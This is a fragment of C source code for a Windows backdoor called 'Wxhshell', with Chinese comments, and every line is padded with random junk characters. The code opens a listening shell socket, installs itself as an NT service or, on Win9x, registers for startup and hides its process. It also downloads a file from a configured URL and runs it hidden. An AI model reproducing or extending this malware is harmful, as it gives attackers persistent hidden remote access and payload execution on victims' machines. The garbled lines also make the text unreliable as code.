ULONG InheritedFromUniqueProcessId; &7b|4a8B%
} PROCESS_BASIC_INFORMATION; TI#''XCB5
?hM>mL
PROCNTQSIP NtQueryInformationProcess; {7;8#.S72
UXugRk%d
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V_RTI.3p
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dC$Em@Nb
d`nVc50
HANDLE hProcess; 8:>1F,
PROCESS_BASIC_INFORMATION pbi; OjF_ %5
9:,\gw>F
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |e?64%l5P
if(NULL == hInst ) return 0; 3'qJ/*]9
-/cZeQDPb
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ##;Er47@^
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 65p?Igb
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #H{<gjs]
(
Qcp{q
if (!NtQueryInformationProcess) return 0; 2H6,'JK@F
j =WST
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .0iQad&duh
if(!hProcess) return 0; U.XNv-M
e~@[18
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'fF;(?
_$f9]bab
CloseHandle(hProcess); :Jy'#c
C] 9p5Hs
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *R3f{/DK
if(hProcess==NULL) return 0; PBxCx3a{
X4t s)>"d
HMODULE hMod; ;A'Z4=*~
char procName[255]; K]|> Et`
unsigned long cbNeeded; bKQ"ax>6p
!+4cqO
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H nUYqhZS
H(2]7dRS%
CloseHandle(hProcess); Xn,v]$M!
L19C<5>
if(strstr(procName,"services")) return 1; // 以服务启动 ^Au _U
[y)`k@
return 0; // 注册表启动 1Q4}'0U4
} $Y_i4(
1jPJw3"3h
// 主模块 &S]@Ot<z
int StartWxhshell(LPSTR lpCmdLine) F;[T#N:~
{ 7.@TK&
SOCKET wsl; %]6~Eq%s
BOOL val=TRUE; @@rEs40
int port=0; ,0~9dS
struct sockaddr_in door; :l&V]}:7*
^#1.l=s
if(wscfg.ws_autoins) Install(); ?(m
jx
vR=6pl$|~~
port=atoi(lpCmdLine); J9Ou+6 u(
9,_mS{+B
if(port<=0) port=wscfg.ws_port; uN^=<B?B
\,&co
WSADATA data; Nl9I*x^e
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7&"n`@(.!
]oV{t<0a
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; QgD g}\P
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P=+nB*hG
door.sin_family = AF_INET; )aao[_ZS
door.sin_addr.s_addr = inet_addr("127.0.0.1"); VX+jadYdq
door.sin_port = htons(port); MJCzo |w
|),'9
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +sx 8t
closesocket(wsl); J}@z_^|"mJ
return 1; VY"9?2?/
} qYf |Gv
7 aYn0_NKp
if(listen(wsl,2) == INVALID_SOCKET) { MXiQ1x
closesocket(wsl); U_$qi
return 1; @~"anqT`
} hf<^/@^tK
Wxhshell(wsl); .tmiQ.
WSACleanup(); ;Y mTw
"zY](P
return 0; e9Pk"HHl
zBp{K@U[|M
}
"t$k
f\1A!Yp
// 以NT服务方式启动 EVUq--)~
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3ZZV<SS
{ i Q6epg1wB
DWORD status = 0; lz0TK)kuC
DWORD specificError = 0xfffffff; }^*F59>H
.R8 HZ}3
serviceStatus.dwServiceType = SERVICE_WIN32; $DC*i-}qFg
serviceStatus.dwCurrentState = SERVICE_START_PENDING; iy\nio`
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wHv]ViNvXE
serviceStatus.dwWin32ExitCode = 0; 3bd5FsI^pU
serviceStatus.dwServiceSpecificExitCode = 0; \U?n+6 7g
serviceStatus.dwCheckPoint = 0; ~h=X8-D
serviceStatus.dwWaitHint = 0; ',4x$qe
d:q +
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Rqy0Q8K<
if (hServiceStatusHandle==0) return; ;HBCUe<_
7HJS.047
status = GetLastError(); {d%&zvJnD
if (status!=NO_ERROR) 9W>Y#V~|v!
{ 5,;`$'?a%
serviceStatus.dwCurrentState = SERVICE_STOPPED; G"59cv8z4R
serviceStatus.dwCheckPoint = 0; KkMay
serviceStatus.dwWaitHint = 0; CBKkBuKuk
serviceStatus.dwWin32ExitCode = status; (ihP`k-.
serviceStatus.dwServiceSpecificExitCode = specificError; H:JLAK
SetServiceStatus(hServiceStatusHandle, &serviceStatus); W85@v2b
return; Dbaf0
} w[-Fm+A>
e{9jn>\,a
serviceStatus.dwCurrentState = SERVICE_RUNNING; j ! NO|&k
serviceStatus.dwCheckPoint = 0; {"H2 :-t<
serviceStatus.dwWaitHint = 0; 1?Aga,~k:a
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ph|ZG6:
} Ei3zBS?J)
$]&(7@'qo
// 处理NT服务事件,比如:启动、停止 )Vk6;__
VOID WINAPI NTServiceHandler(DWORD fdwControl) ";w}3+R
{ #W2[
switch(fdwControl) "SoHt]%#
{ 5ZPzPUa8~
case SERVICE_CONTROL_STOP: Q2%QLM:.,
serviceStatus.dwWin32ExitCode = 0; O:/yAc`
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0l#)fJo
serviceStatus.dwCheckPoint = 0; qxJQPz
serviceStatus.dwWaitHint = 0; 9H]Lpi^OH
{ =}fd6ea(o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @C-dG7U.P
} Dli^2hD
return; Ld,5iBiO:
case SERVICE_CONTROL_PAUSE: B 2.q3T
serviceStatus.dwCurrentState = SERVICE_PAUSED; 5;TuVU.8Q
break; x2#qg>`l
case SERVICE_CONTROL_CONTINUE:
XfzVcap
serviceStatus.dwCurrentState = SERVICE_RUNNING; PaCzr5!~f
break; jSQ9.%4
case SERVICE_CONTROL_INTERROGATE: >(tn "2
break; B)h>8 {
}; X0+fsf<H}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7W9d6i)
} p'?w2YN/
xaKst
p
// 标准应用程序主函数 Vjm_F!S
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5lJ)(|_
{ :Ze+%d=
QldzQ%4c\
// 获取操作系统版本 d(*fy}
OsIsNt=GetOsVer(); W {.78Zi9K
GetModuleFileName(NULL,ExeFile,MAX_PATH); hvt@XZT
m>e3vu
// 从命令行安装 6vf\R*D|A
if(strpbrk(lpCmdLine,"iI")) Install(); *NSlo^R-[
pY^9l3y^
// 下载执行文件 l t]B#, '
if(wscfg.ws_downexe) { }GnwY97
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gCVryB@z2
WinExec(wscfg.ws_filenam,SW_HIDE); Y"eEkT\
} `Xcirfp
QI!i
if(!OsIsNt) { #S+Z$DQD
// 如果时win9x,隐藏进程并且设置为注册表启动 7yiJ1K<bIt
HideProc(); m^\TUj
StartWxhshell(lpCmdLine); 4`2$_T$F
} P8gXCX!>U
else x@cN3O
if(StartFromService()) K,}w]b
// 以服务方式启动 ~%|G+m>
StartServiceCtrlDispatcher(DispatchTable); g.#+z'l
else lg:y|@Y''
// 普通方式启动 fRg=!<#%
StartWxhshell(lpCmdLine); 8<)$z?K
Oz:ZQ M
return 0; OalP1Gy
}